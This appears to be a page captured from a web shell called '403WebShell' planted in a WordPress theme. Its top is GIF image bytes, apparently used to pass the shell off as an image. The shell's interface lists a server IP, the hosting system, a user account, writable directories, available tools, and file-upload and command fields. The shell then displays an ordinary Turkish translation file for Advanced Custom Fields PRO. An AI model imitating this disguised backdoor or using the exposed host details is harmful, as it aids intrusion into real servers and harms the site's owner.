GIF89a=( õ' 7IAXKgNgYvYx\%wh…hŽth%ˆs%—x¨}9®Œ©€&©‰%¶†(¹–.¹5·œD¹&Çš)ÇŸ5ǘ;Í£*È¡&Õ²)ׯ7×µ<Ñ»4ï°3ø‘HÖ§KͯT÷¨Yÿšqÿ»qÿÔFØ !ù ' !ÿ NETSCAPE2.0 , =( þÀ“pH,È¤rÉl:ŸÐ¨tJ­Z¯Ø¬vËíz¿à°xL.›Ïè´zÍn»ßð¸|N¯Ûïø¼~Ïïûÿ€‚ƒ„…†‡ˆ‰Š‹ŒŽ‘’“”•–—˜™š›œžŸ ¡¢£¤¥¦§gª«ªE¯°¨¬ª±²Œ¹º¹E¾­”´ÂB¶¯ §Åȸ»ÑD¾¿Á•ÄÅ®° ÝH¾ÒLÀÆDÙ«D¶BÝïðÀ¾DÑÑÔTÌÍíH òGö¨A RÎڐ |¥ ٭&ºìE8œ¹kGÔAÞpx­a¶­ã R2XB®åE8I€Õ6Xî:vT)äžþÀq¦è³¥ì仕F~%xñ  4#ZÔ‰O|-4Bs‘X:= QÉ œš lºÒyXJŠGȦ|s hÏíK–3l7·B|¥$'7Jީܪ‰‡àá”Dæn=Pƒ ¤Òëí‰`䌨ljóá¯Éüv>á–Á¼5 ½.69ûϸd«­ºÀûnlv©‹ªîf{¬ÜãPbŸ  l5‘ޝpß ´ ˜3aÅùäI«O’ý·‘áÞ‡˜¾Æ‚ÙÏiÇÿ‹Àƒ #öó)pâš Þ½ ‘Ý{ó)vmÞü%D~ 6f s}ŃƒDØW Eþ`‡þ À…L8xá†ç˜{)x`X/> Ì}mø‚–RØ‘*|`D=‚Ø_ ^ð5 !_…'aä“OÚ—7âcð`D”Cx`ÝÂ¥ä‹éY¹—F¼¤¥Š?¡Õ™ n@`} lď’ÄÉ@4>ñd œ à‘vÒxNÃ×™@žd=ˆgsžG±æ ´²æud &p8Qñ)ˆ«lXD©øÜéAžHìySun jª×k*D¤LH] †¦§C™Jä–´Xb~ʪwStŽ6K,°£qÁœ:9ت:¨þªl¨@¡`‚ûÚ ».Û¬¯t‹ÆSÉ[:°=Š‹„‘Nåû”Ìî{¿ÂA ‡Rà›ÀÙ6úë°Ÿð0Ä_ ½;ÃϱîÉì^ÇÛÇ#Ëë¼ôº!±Ä˜íUîÅÇ;0L1óÁµö«p% AÀºU̬ݵ¼á%霼€‡¯Á~`ÏG¯»À× ­²± =4ªnpð3¾¤³¯­ü¾¦îuÙuµÙ®|%2ÊIÿür¦#0·ÔJ``8È@S@5ê¢ ö×Þ^`8EÜ]ý.뜃Âç 7 ú ȉÞj œ½Dç zý¸iþœÑÙûÄë!ˆÞÀl§Ïw‹*DçI€nEX¯¬¼ &A¬Go¼QföõFç°¯;é¦÷îŽêJ°îúôF5¡ÌQ|îúöXªæ»TÁÏyñêï]ê² o óÎC=öõ›ÒÓPB@ D×½œä(>èCÂxŽ`±«Ÿ–JЀ»Û á¤±p+eE0`ëŽ`A Ú/NE€Ø†À9‚@¤à H½7”à‡%B‰`Àl*ƒó‘–‡8 2ñ%¸ —€:Ù1Á‰E¸àux%nP1ð!‘ðC)¾P81lÑɸF#ˆ€{´âé°ÈB„0>±û °b¡Š´±O‚3È–Ù()yRpbµ¨E.Z‘D8ÊH@% òŒx+%Ù˜Æcü »¸˜fõ¬b·d`Fê™8èXH"ÉÈ-±|1Ô6iI, 2““¬$+](A*jÐ QTÂo‰.ÛU슬Œã„Ž`¯SN¡–¶Äåyše¯ª’­¬‚´b¦Éož œ)åyâ@Ì®3 ÎtT̉°&Ø+žLÀf"Ø-|žçÔ>‡Ðv¦Ðžì\‚ Q1)Ž@Žh#aP72”ˆ™¨$‚ !ù " , =( …7IAXG]KgNgYvYxR"k\%w]'}hŽth%ˆg+ˆs%—r.—m3šx3˜x¨}9®€&©€+¨‡7§‰%¶†(¹–.¹œD¹&ǘ;Í•&ײ)×»4ïÌ6ò§KÍ þ@‘pH,È¤rÉl:ŸÐ¨tJ­Z¯Ø¬vËíz¿à°xL.›Ïè´zÍn»ßð¸|N¯Ûïø¼~Ïïûÿ€‚ƒ„…†‡ˆ‰Š‹ŒŽ‘’“”•–—˜™š›œžŸ ¡¢£¤¥¦§g «¬ E ±± ¨­¶°ººE Á´”·®C¬²§Ç¶Œ»ÓDÃÕƷ¯Ê±H½ºM×ÁGÚ¬D¶BËÁ½î½DÓôTÏÛßîG»ôõC×CÌ l&âž:'òtU³6ɹ#·Ø)€'Ü.6±&ëÍÈ» K(8p0N?!æ2"ÛˆNIJX>R¼ÐO‚M '¡¨2¸*Ÿþ>#n↠å@‚<[:¡Iïf’ ¤TÚ˘CdbÜÙ“[«ŽEú5MBo¤×@€`@„€Êt W-3 ¶Ÿ¡BíêäjIÝ…Eò9[T…$íêﯧ„…•s»Óȳ¹€ÅÚdc®UUρ#±Ùïldj?´í¼²`\ŽÁðÞu|3'ÖŒ]ë6 ¶S#²‡˜FKLÈ *N E´‘áäŠ$˜›eÄYD„ºq«.è촁ƒs \-ÔjA 9²õ÷å- üúM[Âx(ís÷ì®x€|í¡Ù’p¦‚ ŽkÛTÇDpE@WÜ ²Ç]kŠ1¨ þ€·Yb ÓÁ‰l°*n0 ç™—žzBdОu¾7ĉBl€â‰-ºx~|UåU‰  h*Hœ|e"#"?vpÄiŠe6^ˆ„+qâŠm8 #VÇá ‘å–ÄV„œ|Аè•m"сœn|@›U¶ÆÎž—Špb¥G¨ED”€±Úê2FÌIç? >Éxå Œ± ¡¤„%‘žjŸ‘ꄯ<Ìaà9ijÐ2˜D¦È&›†Z`‚å]wþ¼Â:ç6àB¤7eFJ|õÒ§Õ,¨äàFÇ®cS·Ê¶+B°,‘Þ˜ºNûãØ>PADÌHD¹æž«ÄÀnÌ¥}­#Ë’ë QÀÉSÌÂÇ2ÌXÀ{æk²lQÁ2«ÊðÀ¯w|2Í h‹ÄÂG€,m¾¶ë3ÐÙ6-´ÅE¬L°ÆIij*K½ÀÇqï`DwVÍQXœÚÔpeœ±¬Ñ q˜§Tœ½µƒ°Œìu Â<¶aØ*At¯lmEØ ü ôÛN[P1ÔÛ¦­±$ÜÆ@`ùåDpy¶yXvCAyåB`ŽD¶ 0QwG#¯ æš[^Äþ $ÀÓÝǦ{„L™[±úKÄgÌ;ï£S~¹ìGX.ôgoT.»åˆ°ùŸûù¡?1zö¦Ÿž:ÅgÁ|ìL¹ „®£œŠ‚à0œ]PÁ^p F<"•ç?!,ñ‡N4—…PÄ Á„ö¨Û:Tè@hÀ‹%táÿ:ø-žI<`þ‹p I….)^ 40D#p@ƒj4–؀:²‰1Øâr˜¼F2oW¼#Z†;$Q q” ‘ ÂK¦ñNl#29 !’F@¥Bh·ᏀL!—XFóLH‘Kh¤.«hE&JòG¨¥<™WN!€ÑÙÚˆY„@†>Œž19J" 2,/ &.GXB%ÌRÈ9B6¹W]’î×ÔW¥’IÎ$ ñ‹ÓŒE8YÆ ¼³™ñA5“à®Q.aŸB€&Ø©³ JÁ—! ¦t)K%tœ-¦JF bòNMxLôþ)ÐR¸Ð™‘ èÝ6‘O!THÌ„HÛ ‰ !ù ) , =( …AXKgNgYvYxR"k\%wh…hŽh%ˆg+ˆs%—r.—x3˜x¨}9®€&©€+¨Œ,©‡7§‰%¶†(¹–.¹5·&Çš)ǘ;Í•&×£*Ȳ)ׯ7×»4ï°3øÌ6ò‘HÖ§KÍ»Hó¯T÷¨Yÿ»qÿÇhÿ þÀ”pH,È¤rÉl:ŸÐ¨tJ­Z¯Ø¬vËíz¿à°xL.›Ïè´zÍn»ßð¸|N¯Ûïø¼~Ïïûÿ€‚ƒ„…†‡ˆ‰Š‹ŒŽ‘’“”•–—˜™š›œžŸ ¡¢£¤¥¦§g ª« E$±²¨ª­ · °²½$E$ÂÕ««D· Í ¿¦Ç¶¸ÌŒ¾³CÃÅÆ E ééH½MÛÂGâªD­ çBêêϾD²ÒaÀà€Š1r­ðÓ¤ ÔožzU!L˜C'¾yW½UGtäÇïÙllê0×àÂuGþ)AÀs[þ·xì ÁxO%ƒûX2ó—  P£n›R/¡ÑšHše+êDm?# —‘Ç£6¡8íJ¡ŸâDiäªM¥Ö„ôj“¬¹£5oQ7°- <‡ *´lãÓŒ2r/a!l)dÈ A™ÈE¢ôÔ͆…ð ;Ö˜c ¡%ß‚’Ùˆâ¸b½—pe~C"BíëÚHïeF2§æŠ8qb t_`urŠeü wÅu3êæPv§h•"ß`íÍxçLĹÜÖ3á  ~Öº“®›¸ÏMDfJÙ °„ÛµáWõ%§œ‚à©–‚X ÓØ)@®Ñ›Eþ´wëuÅSxb8y\mÖzœ¥§ZbºE—ÂLªÌw!y(>¡™wú=Ç|ÅÝs¢d €CÁW)HÜcC$€L Ä7„r.á\{)@ð` @ äXÈ$PD” `šaG:§æˆOˆ72EÐamn]ù"ŒcÊxÑŒ° &dR8`g«iÙŸLR!¦P …d’ä¡“¦ðÎTƒ¦ià|À _ ¥ Qi#¦Šg›Æ ›noMµ ›V ã£)p ç£ÎW…š=Âeªk§†j„ ´®1ß²sÉxéW«jšl|0¯B0Û, \jÛ´›6±¬¶C ÛíWþï|ëÙ‹¸ñzĸV {ì;Ýñn¼òVˆm³I¼³.Ðã¤PN¥ ²µ¼„µCã+¹ÍByî£Ñ¾HŸ›ëê 7ìYÆFTk¨SaoaY$Dµœìï¿Ã29RÈkt Çïfñ ÇÒ:ÀÐSp¹3ÇI¨â¥DZÄ ü9Ïýögñ½­uÔ*3)O‘˜Ö[_hv ,àî×Et Ÿé¶BH€ Õ[ü±64M@ÔSÌM7dÐl5-ÄÙU܍´©zߌ3Ô€3ž„ „ ¶ÛPô½5×g› êÚ˜kN„Ý…0Îj4€Ìë°“#{þÕ3S2çKÜ'ợlø¼Ú2K{° {Û¶?žm𸧠ËI¼nEò='êüóºè^üæÃ_Û=°óž‚ì#Oý¿Í'¡½áo..ÏYìnüñCœO±Áa¿¢Kô½o,üÄËbö²çºíï{ËC Ú— "”Ï{ËK ÍÒw„õ±Oz dÕ¨à:$ ƒô—«v»] A#ð «€¿šéz)Rx׿ˆ¥‚d``èw-îyÏf×K!ð€þ­Ð|ìPľ„=Ì`ý(f” 'Pa ¥ÐBJa%Ðâf§„%Š¡}FàáÝ×6>ÉäŠG"éŽè=ø!oа^FP¼Ø©Q„ÀCÙÁ`(Ž\ÄÝ® ©Â$<n@dÄ E#ììUÒI! ‚#lù‹`k¦ÐÇ'Rró’ZýNBÈMF Í[¤+‹ðɈ-áwj¨¥þ8¾rá ,VÂh„"|½œ=×G_¦Ñ™EØ 0i*%̲˜Æda0mV‚k¾)›;„&6 p>ÓjK “¦Ç# âDÂ:ûc?:R Ó¬fÞéI-Ì“•Ã<ä=™Ï7˜3œ¨˜c2ŒW ,ˆ”8(T™P‰F¡Jhç"‚ ; 403WebShell
403Webshell
Server IP : 172.67.177.218  /  Your IP : 216.73.216.195
Web Server : LiteSpeed
System : Linux premium229.web-hosting.com 4.18.0-553.45.1.lve.el8.x86_64 #1 SMP Wed Mar 26 12:08:09 UTC 2025 x86_64
User : akhalid ( 749)
PHP Version : 8.3.22
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/akhalid/public_html/wp-content/themes/maxsym-theme/includes/acf/lang/pro/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/akhalid/public_html/wp-content/themes/maxsym-theme/includes/acf/lang/pro/acf-tr_TR.po
msgid ""
msgstr ""
"Project-Id-Version: Advanced Custom Fields Pro\n"
"Report-Msgid-Bugs-To: https://support.advancedcustomfields.com\n"
"POT-Creation-Date: 2022-08-03 11:47+0000\n"
"PO-Revision-Date: 2022-08-03 13:15+0100\n"
"Last-Translator: Delicious Brains <[email protected]>\n"
"Language-Team: Emre Erkan <[email protected]>\n"
"Language: tr_TR\n"
"MIME-Version: 1.0\n"
"Content-Type: text/plain; charset=UTF-8\n"
"Content-Transfer-Encoding: 8bit\n"
"Plural-Forms: nplurals=2; plural=(n != 1);\n"
"X-Generator: Poedit 3.1.1\n"
"X-Poedit-SourceCharset: UTF-8\n"
"X-Poedit-KeywordsList: __;_e;_n:1,2;_x:1,2c;_ex:1,2c;_nx:4c,1,2;esc_attr__;"
"esc_attr_e;esc_attr_x:1,2c;esc_html__;esc_html_e;esc_html_x:1,2c;_n_noop:1,2;"
"_nx_noop:3c,1,2;__ngettext_noop:1,2\n"
"X-Poedit-Basepath: ..\n"
"X-Poedit-WPHeader: acf.php\n"
"X-Textdomain-Support: yes\n"
"X-Poedit-SearchPath-0: .\n"
"X-Poedit-SearchPathExcluded-0: *.js\n"

#: pro/acf-pro.php:27
msgid "Advanced Custom Fields PRO"
msgstr "Advanced Custom Fields PRO"

#: pro/blocks.php:166
msgid "Block type name is required."
msgstr "Blok türü adı gereklidir."

#: pro/blocks.php:173
msgid "Block type \"%s\" is already registered."
msgstr "Blok türü \"%s\" zaten kayıtlı."

#: pro/blocks.php:731
msgid "Switch to Edit"
msgstr "Düzenlemeye geç"

#: pro/blocks.php:732
msgid "Switch to Preview"
msgstr "Önizlemeye geç"

#: pro/blocks.php:733
msgid "Change content alignment"
msgstr "İçerik hizalamasını değiştir"

#. translators: %s: Block type title
#: pro/blocks.php:736
msgid "%s settings"
msgstr "%s ayarları"

#: pro/blocks.php:949
msgid "This block contains no editable fields."
msgstr ""

#. translators: %s: an admin URL to the field group edit screen
#: pro/blocks.php:955
msgid ""
"Assign a <a href=\"%s\" target=\"_blank\">field group</a> to add fields to "
"this block."
msgstr ""

#: pro/options-page.php:47
msgid "Options"
msgstr "Seçenekler"

#: pro/options-page.php:77, pro/fields/class-acf-field-gallery.php:523
msgid "Update"
msgstr "Güncelle"

#: pro/options-page.php:78
msgid "Options Updated"
msgstr "Seçenekler güncellendi"

#: pro/updates.php:99
msgid ""
"To enable updates, please enter your license key on the <a href=\"%1$s"
"\">Updates</a> page. If you don't have a licence key, please see <a href="
"\"%2$s\" target=\"_blank\">details & pricing</a>."
msgstr ""
"Güncellemeleri etkinleştirmek için lütfen <a href=\"%1$s\">Güncellemeler</a> "
"sayfasında lisans anahtarınızı girin. Eğer bir lisans anahtarınız yoksa "
"lütfen <a href=\"%2$s\">detaylar ve fiyatlama</a> sayfasına bakın."

#: pro/updates.php:159
msgid ""
"<b>ACF Activation Error</b>. Your defined license key has changed, but an "
"error occurred when deactivating your old licence"
msgstr ""
"<b>ACF etkinleştirme hatası</b>. Tanımlı lisans anahtarınız değişti, ancak "
"eski lisansınızı devre dışı bırakırken bir hata oluştu"

#: pro/updates.php:154
msgid ""
"<b>ACF Activation Error</b>. Your defined license key has changed, but an "
"error occurred when connecting to activation server"
msgstr ""
"<b>ACF etkinleştirme hatası</b>. Tanımlı lisans anahtarınız değişti, ancak "
"etkinleştirme sunucusuna bağlanırken bir hata oluştu"

#: pro/updates.php:192
msgid "<b>ACF Activation Error</b>"
msgstr "<b>ACF etkinleştirme hatası</b>"

#: pro/updates.php:187
msgid ""
"<b>ACF Activation Error</b>. An error occurred when connecting to activation "
"server"
msgstr ""
"<b>ACF etkinleştirme hatası</b>. Etkinleştirme sunucusuna bağlanırken bir "
"hata oluştu"

#: pro/updates.php:279, pro/admin/views/html-settings-updates.php:117
msgid "Check Again"
msgstr "Tekrar kontrol et"

#: pro/updates.php:561
msgid "<b>ACF Activation Error</b>. Could not connect to activation server"
msgstr ""
"<b>ACF etkinleştirme hatası</b>. Etkinleştirme sunucusu ile bağlantı "
"kurulamadı"

#: pro/admin/admin-options-page.php:195
msgid "Publish"
msgstr "Yayımla"

#: pro/admin/admin-options-page.php:199
msgid ""
"No Custom Field Groups found for this options page. <a href=\"%s\">Create a "
"Custom Field Group</a>"
msgstr ""
"Bu seçenekler sayfası için hiç özel alan grubu bulunamadı. <a href=\"%s"
"\">Bir özel alan grubu oluştur</a>"

#: pro/admin/admin-options-page.php:309
msgid "Edit field group"
msgstr "Alan grubunu düzenle"

#: pro/admin/admin-updates.php:52
msgid "<b>Error</b>. Could not connect to update server"
msgstr "<b> Hata</b>. Güncelleme sunucusu ile bağlantı kurulamadı"

#: pro/admin/admin-updates.php:122,
#: pro/admin/views/html-settings-updates.php:12
msgid "Updates"
msgstr "Güncellemeler"

#: pro/admin/admin-updates.php:209
msgid ""
"<b>Error</b>. Could not authenticate update package. Please check again or "
"deactivate and reactivate your ACF PRO license."
msgstr ""
"<b>Hata</b>. Güncelleme paketi için kimlik doğrulaması yapılamadı. Lütfen "
"ACF PRO lisansınızı kontrol edin ya da lisansınızı etkisizleştirip, tekrar "
"etkinleştirin."

#: pro/admin/admin-updates.php:196
msgid ""
"<b>Error</b>. Your license for this site has expired or been deactivated. "
"Please reactivate your ACF PRO license."
msgstr ""
"<b>Hata</b>. Bu sitenin lisansının süresi dolmuş veya devre dışı bırakılmış. "
"Lütfen ACF PRO lisansınızı yeniden etkinleştirin."

#: pro/fields/class-acf-field-clone.php:25
msgctxt "noun"
msgid "Clone"
msgstr "Kopyala"

#: pro/fields/class-acf-field-clone.php:814
msgid "Fields"
msgstr "Alanlar"

#: pro/fields/class-acf-field-clone.php:815
msgid "Select one or more fields you wish to clone"
msgstr "Çoğaltmak için bir ya da daha fazla alan seçin"

#: pro/fields/class-acf-field-clone.php:834
msgid "Display"
msgstr "Görüntüle"

#: pro/fields/class-acf-field-clone.php:835
msgid "Specify the style used to render the clone field"
msgstr "Çoğaltılacak alanın görünümü için stili belirleyin"

#: pro/fields/class-acf-field-clone.php:840
msgid "Group (displays selected fields in a group within this field)"
msgstr "Grup (bu alanın içinde seçili alanları grup olarak gösterir)"

#: pro/fields/class-acf-field-clone.php:841
msgid "Seamless (replaces this field with selected fields)"
msgstr "Pürüzsüz (bu alanı seçişmiş olan alanlarla değiştirir)"

#: pro/fields/class-acf-field-clone.php:850,
#: pro/fields/class-acf-field-flexible-content.php:549,
#: pro/fields/class-acf-field-flexible-content.php:604,
#: pro/fields/class-acf-field-repeater.php:211
msgid "Layout"
msgstr "Yerleşim"

#: pro/fields/class-acf-field-clone.php:851
msgid "Specify the style used to render the selected fields"
msgstr "Seçili alanları görüntülemek için kullanılacak stili belirtin"

#: pro/fields/class-acf-field-clone.php:856,
#: pro/fields/class-acf-field-flexible-content.php:617,
#: pro/fields/class-acf-field-repeater.php:219,
#: pro/locations/class-acf-location-block.php:22
msgid "Block"
msgstr "Blok"

#: pro/fields/class-acf-field-clone.php:857,
#: pro/fields/class-acf-field-flexible-content.php:616,
#: pro/fields/class-acf-field-repeater.php:218
msgid "Table"
msgstr "Tablo"

#: pro/fields/class-acf-field-clone.php:858,
#: pro/fields/class-acf-field-flexible-content.php:618,
#: pro/fields/class-acf-field-repeater.php:220
msgid "Row"
msgstr "Satır"

#: pro/fields/class-acf-field-clone.php:864
msgid "Labels will be displayed as %s"
msgstr "Etiketler %s olarak görüntülenir"

#: pro/fields/class-acf-field-clone.php:869
msgid "Prefix Field Labels"
msgstr "Alan etiketlerine ön ek ekle"

#: pro/fields/class-acf-field-clone.php:880
msgid "Values will be saved as %s"
msgstr "Değerler %s olarak kaydedilecek"

#: pro/fields/class-acf-field-clone.php:885
msgid "Prefix Field Names"
msgstr "Alan isimlerine ön ek ekle"

#: pro/fields/class-acf-field-clone.php:1001
msgid "Unknown field"
msgstr "Bilinmeyen alan"

#: pro/fields/class-acf-field-clone.php:1005
msgid "(no title)"
msgstr "(başlıksız)"

#: pro/fields/class-acf-field-clone.php:1038
msgid "Unknown field group"
msgstr "Bilinmeyen alan grubu"

#: pro/fields/class-acf-field-clone.php:1042
msgid "All fields from %s field group"
msgstr "%s alan grubundaki tüm alanlar"

#: pro/fields/class-acf-field-flexible-content.php:25
msgid "Flexible Content"
msgstr "Esnek içerik"

#: pro/fields/class-acf-field-flexible-content.php:31,
#: pro/fields/class-acf-field-repeater.php:79,
#: pro/fields/class-acf-field-repeater.php:263
msgid "Add Row"
msgstr "Satır ekle"

#: pro/fields/class-acf-field-flexible-content.php:71,
#: pro/fields/class-acf-field-flexible-content.php:917,
#: pro/fields/class-acf-field-flexible-content.php:996
msgid "layout"
msgid_plural "layouts"
msgstr[0] "yerleşim"
msgstr[1] "yerleşimler"

#: pro/fields/class-acf-field-flexible-content.php:72
msgid "layouts"
msgstr "yerleşimler"

#: pro/fields/class-acf-field-flexible-content.php:75,
#: pro/fields/class-acf-field-flexible-content.php:916,
#: pro/fields/class-acf-field-flexible-content.php:995
msgid "This field requires at least {min} {label} {identifier}"
msgstr "Bu alan için en az gereken {min} {label} {identifier}"

#: pro/fields/class-acf-field-flexible-content.php:76
msgid "This field has a limit of {max} {label} {identifier}"
msgstr "Bu alan için sınır {max} {label} {identifier}"

#: pro/fields/class-acf-field-flexible-content.php:79
msgid "{available} {label} {identifier} available (max {max})"
msgstr "{available} {label} {identifier} kullanılabilir (en fazla {max})"

#: pro/fields/class-acf-field-flexible-content.php:80
msgid "{required} {label} {identifier} required (min {min})"
msgstr "{required} {label} {identifier} gerekli (min {min})"

#: pro/fields/class-acf-field-flexible-content.php:83
msgid "Flexible Content requires at least 1 layout"
msgstr "Esnek içerik, en az 1 yerleşim gerektirir"

#: pro/fields/class-acf-field-flexible-content.php:276
msgid "Click the \"%s\" button below to start creating your layout"
msgstr ""
"Kendi yerleşiminizi oluşturmaya başlamak için aşağıdaki \"%s \" tuşuna "
"tıklayın"

#: pro/fields/class-acf-field-flexible-content.php:410,
#: pro/fields/class-acf-repeater-table.php:354
msgid "Drag to reorder"
msgstr "Yeniden düzenlemek için sürükleyin"

#: pro/fields/class-acf-field-flexible-content.php:413
msgid "Add layout"
msgstr "Yerleşim ekle"

#: pro/fields/class-acf-field-flexible-content.php:414
msgid "Duplicate layout"
msgstr "Düzeni çoğalt"

#: pro/fields/class-acf-field-flexible-content.php:415
msgid "Remove layout"
msgstr "Yerleşimi çıkar"

#: pro/fields/class-acf-field-flexible-content.php:416,
#: pro/fields/class-acf-repeater-table.php:369
msgid "Click to toggle"
msgstr "Geçiş yapmak için tıklayın"

#: pro/fields/class-acf-field-flexible-content.php:551
msgid "Reorder Layout"
msgstr "Yerleşimi yeniden sırala"

#: pro/fields/class-acf-field-flexible-content.php:551
msgid "Reorder"
msgstr "Yeniden sırala"

#: pro/fields/class-acf-field-flexible-content.php:552
msgid "Delete Layout"
msgstr "Yerleşimi sil"

#: pro/fields/class-acf-field-flexible-content.php:552
msgid "Delete"
msgstr "Sil"

#: pro/fields/class-acf-field-flexible-content.php:553
msgid "Duplicate Layout"
msgstr "Yerleşimi çoğalt"

#: pro/fields/class-acf-field-flexible-content.php:553
msgid "Duplicate"
msgstr "Çoğalt"

#: pro/fields/class-acf-field-flexible-content.php:554
msgid "Add New Layout"
msgstr "Yeni yerleşim ekle"

#: pro/fields/class-acf-field-flexible-content.php:554
msgid "Add New"
msgstr "Yeni ekle"

#: pro/fields/class-acf-field-flexible-content.php:581
msgid "Label"
msgstr "Etiket"

#: pro/fields/class-acf-field-flexible-content.php:597
msgid "Name"
msgstr "İsim"

#: pro/fields/class-acf-field-flexible-content.php:635
msgid "Min"
msgstr "En düşük"

#: pro/fields/class-acf-field-flexible-content.php:650
msgid "Max"
msgstr "En yüksek"

#: pro/fields/class-acf-field-flexible-content.php:679,
#: pro/fields/class-acf-field-repeater.php:259
msgid "Button Label"
msgstr "Tuş etiketi"

#: pro/fields/class-acf-field-flexible-content.php:690
msgid "Minimum Layouts"
msgstr "En az yerleşim"

#: pro/fields/class-acf-field-flexible-content.php:701
msgid "Maximum Layouts"
msgstr "En fazla yerleşim"

#: pro/fields/class-acf-field-flexible-content.php:1704,
#: pro/fields/class-acf-field-repeater.php:861
msgid "%s must be of type array or null."
msgstr "%s dizi veya null türünde olmalıdır."

#: pro/fields/class-acf-field-flexible-content.php:1715
msgid "%1$s must contain at least %2$s %3$s layout."
msgid_plural "%1$s must contain at least %2$s %3$s layouts."
msgstr[0] "%1$s en az %2$s %3$s düzen içermelidir."
msgstr[1] "%1$s en az %2$s %3$s düzen içermelidir."

#: pro/fields/class-acf-field-flexible-content.php:1731
msgid "%1$s must contain at most %2$s %3$s layout."
msgid_plural "%1$s must contain at most %2$s %3$s layouts."
msgstr[0] "%1$s en fazla %2$s %3$s düzeni içermelidir."
msgstr[1] "%1$s en fazla %2$s %3$s düzeni içermelidir."

#: pro/fields/class-acf-field-gallery.php:25
msgid "Gallery"
msgstr "Galeri"

#: pro/fields/class-acf-field-gallery.php:73
msgid "Add Image to Gallery"
msgstr "Galeriye görsel ekle"

#: pro/fields/class-acf-field-gallery.php:74
msgid "Maximum selection reached"
msgstr "En fazla seçim aşıldı"

#: pro/fields/class-acf-field-gallery.php:320
msgid "Length"
msgstr "Uzunluk"

#: pro/fields/class-acf-field-gallery.php:335
msgid "Edit"
msgstr "Düzenle"

#: pro/fields/class-acf-field-gallery.php:336,
#: pro/fields/class-acf-field-gallery.php:491
msgid "Remove"
msgstr "Kaldır"

#: pro/fields/class-acf-field-gallery.php:352
msgid "Title"
msgstr "Başlık"

#: pro/fields/class-acf-field-gallery.php:364
msgid "Caption"
msgstr "Başlık"

#: pro/fields/class-acf-field-gallery.php:376
msgid "Alt Text"
msgstr "Alternatif metin"

#: pro/fields/class-acf-field-gallery.php:388
msgid "Description"
msgstr "Açıklama"

#: pro/fields/class-acf-field-gallery.php:500
msgid "Add to gallery"
msgstr "Galeriye ekle"

#: pro/fields/class-acf-field-gallery.php:504
msgid "Bulk actions"
msgstr "Toplu eylemler"

#: pro/fields/class-acf-field-gallery.php:505
msgid "Sort by date uploaded"
msgstr "Yüklenme tarihine göre sırala"

#: pro/fields/class-acf-field-gallery.php:506
msgid "Sort by date modified"
msgstr "Değiştirme tarihine göre sırala"

#: pro/fields/class-acf-field-gallery.php:507
msgid "Sort by title"
msgstr "Başlığa göre sırala"

#: pro/fields/class-acf-field-gallery.php:508
msgid "Reverse current order"
msgstr "Sıralamayı ters çevir"

#: pro/fields/class-acf-field-gallery.php:520
msgid "Close"
msgstr "Kapat"

#: pro/fields/class-acf-field-gallery.php:573
msgid "Return Format"
msgstr "Dönüş biçimi"

#: pro/fields/class-acf-field-gallery.php:579
msgid "Image Array"
msgstr "Görsel dizisi"

#: pro/fields/class-acf-field-gallery.php:580
msgid "Image URL"
msgstr "Görsel adresi"

#: pro/fields/class-acf-field-gallery.php:581
msgid "Image ID"
msgstr "Görsel no"

#: pro/fields/class-acf-field-gallery.php:590
msgid "Preview Size"
msgstr "Önizleme boyutu"

#: pro/fields/class-acf-field-gallery.php:602
msgid "Insert"
msgstr "Ekle"

#: pro/fields/class-acf-field-gallery.php:603
msgid "Specify where new attachments are added"
msgstr "Yeni eklerin nereye ekleneceğini belirtin"

#: pro/fields/class-acf-field-gallery.php:607
msgid "Append to the end"
msgstr "Sona ekle"

#: pro/fields/class-acf-field-gallery.php:608
msgid "Prepend to the beginning"
msgstr "En başa ekleyin"

#: pro/fields/class-acf-field-gallery.php:617
msgid "Library"
msgstr "Kitaplık"

#: pro/fields/class-acf-field-gallery.php:618
msgid "Limit the media library choice"
msgstr "Ortam kitaplığı seçimini sınırlayın"

#: pro/fields/class-acf-field-gallery.php:623,
#: pro/locations/class-acf-location-block.php:66
msgid "All"
msgstr "Tümü"

#: pro/fields/class-acf-field-gallery.php:624
msgid "Uploaded to post"
msgstr "Yazıya yüklendi"

#: pro/fields/class-acf-field-gallery.php:633
msgid "Minimum Selection"
msgstr "En az seçim"

#: pro/fields/class-acf-field-gallery.php:644
msgid "Maximum Selection"
msgstr "En fazla seçim"

#: pro/fields/class-acf-field-gallery.php:655
msgid "Minimum"
msgstr "En az"

#: pro/fields/class-acf-field-gallery.php:656,
#: pro/fields/class-acf-field-gallery.php:693
msgid "Restrict which images can be uploaded"
msgstr "Hangi görsellerin yüklenebileceğini sınırlandırın"

#: pro/fields/class-acf-field-gallery.php:659,
#: pro/fields/class-acf-field-gallery.php:696
msgid "Width"
msgstr "Genişlik"

#: pro/fields/class-acf-field-gallery.php:670,
#: pro/fields/class-acf-field-gallery.php:707
msgid "Height"
msgstr "Yükseklik"

#: pro/fields/class-acf-field-gallery.php:682,
#: pro/fields/class-acf-field-gallery.php:719
msgid "File size"
msgstr "Dosya boyutu"

#: pro/fields/class-acf-field-gallery.php:692
msgid "Maximum"
msgstr "En fazla"

#: pro/fields/class-acf-field-gallery.php:729
msgid "Allowed file types"
msgstr "İzin verilen dosya tipleri"

#: pro/fields/class-acf-field-gallery.php:730
msgid "Comma separated list. Leave blank for all types"
msgstr "Virgül ile ayrılmış liste. Tüm tipler için boş bırakın"

#: pro/fields/class-acf-field-gallery.php:832
msgid "%1$s requires at least %2$s selection"
msgid_plural "%1$s requires at least %2$s selections"
msgstr[0] "%1$s en az %2$s seçim gerektirir"
msgstr[1] "%1$s en az %2$s seçim gerektirir"

#: pro/fields/class-acf-field-repeater.php:22
msgid "Repeater"
msgstr "Tekrarlayıcı"

#: pro/fields/class-acf-field-repeater.php:53,
#: pro/fields/class-acf-field-repeater.php:423
msgid "Minimum rows reached ({min} rows)"
msgstr "En az satır sayısına ulaşıldı ({min} satır)"

#: pro/fields/class-acf-field-repeater.php:54
msgid "Maximum rows reached ({max} rows)"
msgstr "En fazla satır değerine ulaşıldı ({max} satır)"

#: pro/fields/class-acf-field-repeater.php:55
msgid "Error loading page"
msgstr ""

#: pro/fields/class-acf-field-repeater.php:141
msgid "Sub Fields"
msgstr "Alt alanlar"

#: pro/fields/class-acf-field-repeater.php:174
msgid "Collapsed"
msgstr "Daraltılmış"

#: pro/fields/class-acf-field-repeater.php:175
msgid "Select a sub field to show when row is collapsed"
